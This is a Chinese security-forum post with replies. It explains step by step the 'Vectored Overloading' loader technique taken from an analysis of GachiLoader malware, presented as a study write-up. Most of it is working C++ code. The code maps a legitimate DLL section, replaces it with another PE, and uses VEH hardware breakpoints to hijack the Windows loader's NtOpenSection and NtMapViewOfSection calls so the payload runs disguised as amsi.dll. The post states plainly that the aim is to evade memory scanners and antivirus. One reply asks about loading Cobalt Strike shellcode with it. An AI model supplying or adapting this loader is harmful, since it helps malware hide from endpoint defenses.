首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
编程技术
发新帖
39
13
[原创]绕过内存扫描:结合 NtCreateSection 与 VEH 硬件断点的 Ldr 劫持技术分析
发表于: 2025-12-28 16:37
19662
[原创]绕过内存扫描:结合 NtCreateSection 与 VEH 硬件断点的 Ldr 劫持技术分析
ZyOrca
3
2025-12-28 16:37
19662
看到 CheckPoint 对恶意软件GachiLoader 的分析文章,提到了一种新的 PE 注入技术“Vectored Overloading(向量化重载)”,即通过 VEH 和对内存中的载荷进行直接映射,借助合法的 DLL 内存实现注入,从而规避检测。CheckPoint 提供了这项技术的测试代码,以下是对这项技术的学习记录。 + 编译环境:Windows 11, VS2019, debug x64 + 运行环境:Windows 11 # 1. 将 PE 文件读取到内存 读取 C:\Windows\System32\calc.exe 的文件内容到内存,这是之后要注入的 Payload。 ```csharp HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); DWORD fileSize = GetFileSize(hCalc, NULL); BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); ``` > GetProcessHeap 函数获取调用进程的默认堆的句柄。 进程可以使用此句柄从进程堆分配内存,而无需先使用 HeapCreate 函数创建专用堆 > > ReadFile 函数从指定的文件或输入/输出(I/O)设备读取数据 > 然后 exe 文件变成 dll 文件。calc.exe原本是 exe 文件,FileHeader.Characteristics 的字段IMAGE_FILE_DLL 为 0。  现在需要将 IMAGE_FILE_DLL 改为 1,并清除入口点地址(设置为 0,防止冲突,之后再设置具体地址)。这样能让calc.exe像 DLL 一样可以在内存任意位置运行,不挑剔地址;而且让它看起来和被替换的 wmp.dll 更像,起到一定免杀效果。 ```csharp DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) { nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; //0x0和0x2000进行按位或运算结果是0x2000 nt->OptionalHeader.AddressOfEntryPoint = 0; } ``` # 2. 创建 "傀儡" 节(Section) 首先需要调用函数NtCreateSection。 函数 NtCreateSection 属于是ntdll.dll 中未公开的函数。ntdll.lib 不是 Visual Studio 标准 C++ 桌面开发环境默认包含的库。它是 Windows Driver Kit (WDK) 的一部分,所以需要先声明,并且说明函数的名称、参数类型、返回值、调用约定 ```csharp #pragma comment(lib, "ntdll.lib") EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); ``` (这种隐式链接的方式很容易在逆向分析时被发现,这里应该是为了方便没有用 LoadLibrary + GetProcAddress 这种显式链接的方式获取NtCreateSection 地址了) 函数 NtCreateSection 负责创建节对象。 ```csharp __kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection( [out] PHANDLE SectionHandle, //指向接收节对象的句柄的 HANDLE 变量的指针 [in] ACCESS_MASK DesiredAccess, //指定一个ACCESS_MASK值,该值确定请求对对象的访问 [in, optional] POBJECT_ATTRIBUTES ObjectAttributes, [in, optional] PLARGE_INTEGER MaximumSize, //指定节的最大大小(以字节为单位) [in] ULONG SectionPageProtection, //指定要在节中的每个页面上放置的保护 [in] ULONG AllocationAttributes, //指定SEC_XXX 标志的位掩码,用于确定节的分配属性 [in, optional] HANDLE FileHandle //(可选)指定打开的文件对象的句柄 ); ``` 其中需要注意的参数是AllocationAttributes,用于确定节的分配属性,可以设置为 SEC_COMMIT(0x8000000)、SEC_IMAGE(0x1000000)、SEC_IMAGE_NO_EXECUTE(0x11000000)、SEC_LARGE_PAGES(0x80000000)等 7 个属性值。 这里程序将节对象的分配属性设置为SEC_IMAGE,也就是说告诉操作系统把这个文件当成 “可执行程序(Image)” 来解析和映射,别当成普通文本文件。SEC_IMAGE 属性必须与页面保护值(如 PAGE_READONLY)结合使用。 ```csharp HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); ``` 为什么不用VirtualAlloc,而是要用NtCreateSection ? + VirtualAlloc 分配的是 MEM_PRIVATE,绝大多数合法的 EXE/DLL 代码不会运行在 MEM_PRIVATE 里,如果一块 MEM_PRIVATE 内存拥有 EXECUTE 权限,这在安全软件眼里是非常明显的恶意特征;NtCreateSection (SEC_IMAGE) 分配的是 MEM_IMAGE,这是所有正规 DLL 加载的方式 + 如果用 VirtualAlloc 分配内存然后加载 PE 文件,必须手动写代码去处理 PE 文件的映射,需要算地址、对齐节、处理导入表,这相当于你要手写一个加载器;NtCreateSection分配的内存因为有 SEC_IMAGE 标志,操作系统内核完成了所有的解析、对齐、加载工作 调用NtCreateSection函数时,Windows 内核会在内核空间创建一个 Section Object (节对象)。这个对象本身是存放在内核空间的,用户态程序无法直接操作。NtCreateSection 不能独自完成内存分配工作,还需要结合函数NtMapViewOfSection。 现在拿到的 gSectionHandle 只是一个句柄,程序后面紧接着调用的 NtMapViewOfSection,才能把节对象映射到当前进程的用户空间虚拟内存里。 # 3. 预先映射并篡改 使用 NtMapViewOfSection 将这个基于 wmp.dll 的节映射到当前进程内存 ```csharp NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( IN HANDLE SectionHandle, //需要映射的节对象句柄 IN HANDLE ProcessHandle, //被映射的目标进程句柄 IN OUT PVOID *BaseAddress OPTIONAL, //映射的内存基址 IN ULONG ZeroBits OPTIONAL, //对高位地址的限制,通常设为0 IN ULONG CommitSize, //初始提交大小 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, //偏移量,即从文件的第几个字节开始映射 IN OUT PULONG ViewSize, //映射的大小,如果填 0,内核会把整个 Section 都映射进去 IN InheritDisposition, //继承倾向,决定子进程是否能映射这块内存 IN ULONG AllocationType OPTIONAL,//分配类型 IN ULONG Protect //内存保护属性 ); ``` 简单说,NtMapViewOfSection这个函数是把 SectionHandle 指定的文件,映射到 ProcessHandle 指定的进程里,大小由 ViewSize 决定,地址由 BaseAddress 接收。 映射内存后,紧接着使用 VirtualProtect 修改内存权限,清空原有 wmp.dll 的内容,并将 calc.exe 的 PE 头和各节(Section)手动复制进去,修复 calc.exe 的重定位,设置各节的属性。 ```csharp status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); ApplySectionProtections(gBaseAddress); ``` 虽然把内存里的内容全部清空并替换了,但这块内存的属性依然是 MEM_IMAGE,并且在操作系统眼中,这块内存区域依然关联着 wmp.dll 这个文件。 这里修改了内存,硬盘上的 wmp.dll 文件会不会也被改掉?并不会 Windows 有一种机制叫写时复制 (Copy-on-Write)。“写时复制”是一种内存优化技术,让多个进程共享同一份物理内存页面,直到其中一个进程尝试写入(修改)数据时,系统才真正创建一份独立的副本,从而节省内存和时间。 程序在调用memset、memcpy 等函数把数据写进 wmp.dll 的映射内存时,操作系统会申请一块新的物理页,把旧页面的内容拷贝到新页面,并将新页面的权限设置为可写入,CPU 重新执行写入指令,完成对新页面的数据修改。 # 4. 设置 hook 主要流程如下:注册VEH 异常处理函数,然后在函数NtOpenSection设置硬件断点,调用 loadlibrary 加载一个系统的 dll 触发断点,让程序进入VEH 异常处理函数,修改部分代码劫持程序执行流程,让程序跳转到之前设置好的 Payload,也就是映射 calc.exe 的内存,最后执行 Payload 弹出计算器窗口。 ## 4.1 注册 VEH 异常处理函数 首先我们需要理了解VEH(Vectored ExceptionHandler,向量化异常处理)。简单说一下,从Windows XP开始,在以前的SEH(Structured Exception Handling)结构化异常处理的基础上, 微软又增加了一种新的异常处理VEH。 + VEH和进程异常处理类似,都是基于进程的,而且需要使用API(AddVectoredExceptionHandler)注册回调函数 + 可以注册多个VEH,VEH结构体之间串成双向链表 + VEH处理优先级次于调试器处理,高于SEH处理;即KiUserExceptionDispatcher()首先检查是否被调试,然后检查VEH链表,最后检查SEH链表 + 注册VEH时,可以指定其在链中的位置,不一定像 SEH 那样必须按照注册的顺序压入栈中 + VEH保存在堆中 ```csharp //注册向量化异常处理程序 PVOID AddVectoredExceptionHandler( ULONG First, PVECTORED_EXCEPTION_HANDLER VectoredHandler ); //取消已注册的向量化异常处理程序 ULONG RemoveVectoredExceptionHandler( PVOID Handle //先前使用 AddVectoredExceptionHandler 函数注册的向量异常处理程序的句柄 ); //VEH结构体 struct _VECTORED_EXCEPTION_NODE { DWORD m_pNextNode; DWORD m_pPreviousNode; PVOID m_pfnVectoredHandler; } ``` 注册一个 VEH (Vectored Exception Handler):InjectHandler ```csharp PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); ``` 1u 表示 ULONG 类型的 1, 表示只要有异常发生,第一个通知这里注册的异常处理程序InjectHandler。一旦异常发生,操作系统就会暂停当前的程序,转而去调用这个函数InjectHandler。 ## 4.2 异常处理函数 注册的 InjectHandler 异常处理函数实现逻辑如下: 1. 先判断是不是硬件断点触发的异常。 EXCEPTION_SINGLE_STEP是硬件断点触发时特有的异常代码,如果条件符合,就继续异常处理;否则InjectHandler 直接返回。 ```csharp if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) ``` 2. 当程序(LoadLibrary)试图调用 NtOpenSection 去打开一个 dll 文件时,断点触发,进入这个 Case ```csharp case LdrState::StateOpenSection: { printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); *(PHANDLE)ctx->Rcx = gSectionHandle; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); gLdrState = LdrState::StateMapViewOfSection; SetHardwareBreakpoint(NtMapViewOfSection, ctx); NtContinue(ctx, FALSE); //读取结构体ctx里的所有数据,并将它们物理地加载到 CPU 的真实寄存器中。一旦加载完成,CPU 就会立即跳转到 ContextRecord->Rip 指向的地址开始执行 return EXCEPTION_CONTINUE_EXECUTION; } break; ``` + **ctx->Rcx**:根据 x64 调用约定,Rcx 是第一个参数。在 NtOpenSection 中,第一个参数是 PHANDLE SectionHandle(用来接收结果的指针)。 + **(PHANDLE)ctx->Rcx = gSectionHandle**:之前准备好的 gSectionHandle (那个伪装成 wmp.dll 的 calc) 填到了NtOpenSection 的第一个参数中。 + **跳过执行 (ctx->Rip = ... RET)**:指令指针被修改了,直接跳到了函数的结尾(RET,0xC3 是汇编指令RET 的指令码)。 + **再设置硬件断点**:在函数NtMapViewOfSection 也设置了一个硬件断点 真正的 NtOpenSection 根本没有执行!操作系统压根不知道程序想打开 amsi.dll。调用者收到了 STATUS_SUCCESS (Rax=0),并且多了一个 Handle,操作系统以为成功打开了 amsi.dll,但其实是之前构造的填充了 calc.exe 的 Section。 > 根据 x64 调用约定,最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递 > NtOpenSection 也是一个未公开的函数,和之前的NtCreateSection 需要提前声明 ```csharp EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); //NtOpenSection函数定义 NTSYSAPI NTSTATUS NTAPI NtOpenSection( OUT PHANDLE SectionHandle, // 句柄 IN ACCESS_MASK DesiredAccess, // 权限 IN POBJECT_ATTRIBUTES ObjectAttributes // 对象属性 ); ``` 3. 调用者拿到了假的 Handle,去调用 NtMapViewOfSection 想把文件映射到内存。断点再次触发。 ```csharp case LdrState::StateMapViewOfSection: { printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); if ((HANDLE)ctx->Rcx != gSectionHandle) return EXCEPTION_CONTINUE_EXECUTION; printf(" Section handle is ours\r\n"); PVOID* baseAddrPtr = (PVOID*)ctx->R8; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); if (baseAddrPtr) *baseAddrPtr = gBaseAddress; if (viewSizePtr) *viewSizePtr = gViewSize; *allocTypePtr = 0; *protectPtr = PAGE_EXECUTE_READWRITE; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); ctx->Dr0 = 0LL; //LL代表 long long 类型(64 位整数),x64环境下CPU 的寄存器都是 64 位 ctx->Dr1 = 0LL; ctx->Dr2 = 0LL; ctx->Dr3 = 0LL; ctx->Dr6 = 0LL; ctx->Dr7 = 0LL; ctx->EFlags |= 0x10000u; //0x10000 换算成二进制是 10000000000000000,也就是第 16 位,Resume Flag (RF)恢复标志 //把RF置为1,防止程序在同一个断点位置反复触发异常,卡死在原地 NtContinue(ctx, FALSE); return EXCEPTION_CONTINUE_EXECUTION; break; } ``` + **ctx->Rcx**:这是传入的 Handle。代码先检查一下,确保这个请求是针对之前那个假 Handle 的。 + **ctx->R8**:这是 BaseAddress 的指针。正常情况下,内核会分配一块新内存,把地址填进去。 + ***baseAddrPtr = gBaseAddress**:把之前就已经在内存里布置好的、填满了 calc.exe 代码的那个地址 (gBaseAddress) 塞给了调用者。 同样,真正的 NtMapViewOfSection 也没有执行,内核什么都不知道。然后清除断点,抹除痕迹。 ## 4.3 设置硬件断点 怎么人为地让异常发生呢?前面已经提过,需要设置硬件断点。 CPU 内部有 8 个调试寄存器: + Dr0, Dr1, Dr2, Dr3 为存放断点地址的寄存器,这意味着同时最多只能下 4 个硬件断点 + DR4和DR5 目前保留,没有实际使用 + DR6为调试异常产生后显示的一些信息 + DR7保存了断点是否启用、断点类型和长度等信息,例如断点的长度设置到DR7的LEN0-LEN3中,将断点的类型设置到DR7的RW0-RW3中,将是否启用断点设置到DR7的L0-L3中  ```csharp BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) { if (ctx) { ctx->Dr7 = 1LL; //打开 Dr0 的开关(L0位置1) ctx->Dr0 = (DWORD64)address; //把新的监控地址填进去 NtContinue(ctx, FALSE); //恢复执行 } else { // Default to current thread if no context was given CONTEXT context = { 0 }; context.ContextFlags = CTX_FLAGS; HANDLE hThread = GetCurrentThread(); //拿到当前线程的句柄 if (!GetThreadContext(hThread, &context)) //获取当前 CPU 的状态(拍快照) return FALSE; context.Dr7 = 1; context.Dr0 = (DWORD64)address; //设置硬件断点 if (!SetThreadContext(hThread, &context)) return FALSE; } return TRUE; } ``` 使用调试寄存器在NtOpenSection函数的地址上设置硬件断点;因为 NtOpenSection 是系统函数,如果用软件断点(修改内存),杀毒软件和反作弊系统(如 BattlEye)会立刻检测到系统 DLL 被篡改了。利用硬件断点 + VEH(异常处理),可以在不修改任何一个字节代码的情况下,劫持系统函数的执行流程。 ```csharp SetHardwareBreakpoint(NtOpenSection, NULL); ``` # 5. 劫持加载流程 调用 LoadLibraryW(L"amsi.dll"),触发 Windows 加载器(Ldr)内部的 NtOpenSection 和 NtMapViewOfSection 调用 ```csharp HMODULE base = LoadLibraryW(L"amsi.dll"); ``` ## 5.1 阶段 1 (NtOpenSection) 当 LoadLibrary试图打开 amsi.dll时会调用NtOpenSection,触发硬件断点。异常处理程序拦截执行,将输出参数SectionHandle 替换为之前创建的 gSectionHandle(即那个伪装的wmp.dll)。然后修改 RIP指针跳过真正的系统调用。 操作系统以为它成功打开了 amsi.dll,但实际上拿到的是篡改过的 Handle。 ```csharp *(PHANDLE)ctx->Rcx = gSectionHandle; ``` ## 5.2 阶段 2 (NtMapViewOfSection) VEH 异常处理流程随后在 NtMapViewOfSection 下断点。当加载器试图映射这个 Handle 时,处理程序再次拦截,将映射的基址(BaseAddress)替换为已经准备好的地址。 ```csharp PVOID* baseAddrPtr = (PVOID*)ctx->R8; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); if (baseAddrPtr) *baseAddrPtr = gBaseAddress; if (viewSizePtr) *viewSizePtr = gViewSize; ``` LoadLibrary认为它加载了amsi.dll,但实际上通过劫持,它“复用”了那块已经写入 calc.exe 代码的内存。 # 6. 执行 Payload ```csharp //移除VEH异常处理函数 RemoveVectoredExceptionHandler(InjectHandler); //设置calc.exe的entryPoint,执行payload PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; printf("[*] Jumping to entrypoint at %p\n", entryPoint); ((void (*)())entryPoint)(); return 0; ``` 运行成功  # 7. 参考链接 <a href="elink@b0bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5k6i4y4W2j5i4u0U0K9q4)9J5k6h3y4Z5k6h3y4C8M7r3!0A6L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6t1#2i4K6u0r3k6$3q4U0K9r3W2D9L8$3q4V1k6i4u0Q4x3X3c8F1L8$3c8W2i4K6u0V1K9Y4y4Q4x3X3c8E0j5h3I4%4j5i4u0W2i4K6u0V1N6$3W2@1K9q4)9J5k6r3q4H3K9g2)9J5k6s2c8J5j5h3y4A6L8X3N6Q4x3V1j5`.">GachiLoader: Defeating Node.js Malware with API Tracing</a> <a href="elink@4d7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6o6K9r3g2U0K9#2m8G2K9h3&6@1f1#2N6Q4x3V1k6h3k6h3y4@1L8%4u0W2k6p5!0$3k6i4u0D9L8$3q4V1K9h3&6Y4i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2K9h3&6Q4x3V1k6E0j5h3W2F1i4K6u0W2j5%4m8H3i4K6t1K6e0o6t1$3y4b7`.`.">VectoredOverloading/main.cpp at main · CheckPointSW/VectoredOverloading</a>(完整代码在这个项目链接中,可供各位读者参考)
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2025-12-31 09:25 被ZyOrca编辑 ,原因: 调整排版,修正错误
#基础知识
#系统内核
#HOOK/注入
收藏
・
39
点赞
・
13
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
你的分享对大家帮助很大,非常感谢!
2026-7-16 10:39
我不是深渊
这个讨论对我很有帮助,谢谢!
2026-3-25 15:00
Ally Switch
这个讨论对我很有帮助,谢谢!
2026-2-27 10:23
MarsW
谢谢你的细致分析,受益匪浅!
2026-2-20 23:40
wtujoxk
+1
感谢你的贡献,论坛因你而更加精彩!
2026-1-22 06:49
friendanx
为你点赞!
2026-1-3 23:45
P_Hac
谢谢你的细致分析,受益匪浅!
2026-1-3 18:00
ThreeStones
你的分享对大家帮助很大,非常感谢!
2026-1-3 15:54
tank小王子
+6
谢谢你的细致分析,受益匪浅!
2026-1-2 17:39
zhczf
你的帖子非常有用,感谢分享!
2026-1-1 22:34
周旋久
为你点赞!
2025-12-31 14:59
安全裤
你的分享对大家帮助很大,非常感谢!
2025-12-29 16:23
我的小拇指啊
谢谢你的细致分析,受益匪浅!
2025-12-28 23:20
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
9
)
milko
雪 币:
1507
活跃值:
(2504)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
73
粉丝
6
关注
私信
milko
2
楼
mark
2025-12-28 17:03
0
mb_htgcgule
雪 币:
232
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
18
粉丝
0
关注
私信
mb_htgcgule
3
楼
mark
2025-12-29 14:58
0
xyzliao
雪 币:
648
活跃值:
(5598)
能力值:
( LV3,RANK:20 )
在线值:
发帖
4
回帖
127
粉丝
4
关注
私信
xyzliao
4
楼
妙哇
2025-12-29 22:04
0
mb_aopnnvxb
雪 币:
97
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
79
粉丝
0
关注
私信
mb_aopnnvxb
5
楼
mark
2025-12-31 13:20
0
MsScotch
雪 币:
4184
活跃值:
(4916)
能力值:
( LV2,RANK:10 )
在线值:
发帖
3
回帖
394
粉丝
5
关注
私信
MsScotch
6
楼
mark
2026-1-1 12:45
0
陌上陌下
雪 币:
261
活跃值:
(1826)
能力值:
( LV2,RANK:10 )
在线值:
发帖
1
回帖
14
粉丝
0
关注
私信
陌上陌下
7
楼
mark
2026-1-1 14:53
0
ANormalUser
雪 币:
6800
活跃值:
(6497)
能力值:
( LV3,RANK:20 )
在线值:
发帖
3
回帖
35
粉丝
17
关注
私信
ANormalUser
8
楼
这玩意貌似就是当年我提的MemoryDll变种:https://bbs.kanxue.com/thread-274307.htm
2026-1-3 19:33
1
mb_qlwuaden
雪 币:
221
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
mb_qlwuaden
9
楼
这个用来加载一个shellcode可以吗,我尝试运行弹calc可以,但是运行cs的shellcode不行
2026-1-10 18:38
0
CryptT0
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
CryptT0
10
楼
是module stomping的变体加载方式吧
2026-5-20 18:21
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
ZyOrca
3
18
发帖
17
回帖
220
RANK
关注
私信
他的文章
[病毒分析]仿冒 CCleaner 投递 GhostDesk 木马:无文件加载、用户态 Rootkit 隐身与 Chrome 恶意扩展
362
[原创]AppDomainManager 注入:从GAC 利用到无文件加载的多种实现
9230
[原创]“看门狗注入”(Watchdog Injection) 技术分析
2886
[原创]无声的提权:Windows攻击链中的进程伪装与UAC绕过
13102
[翻译]利用 Microsoft Warbird 执行 Shellcode
4129
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部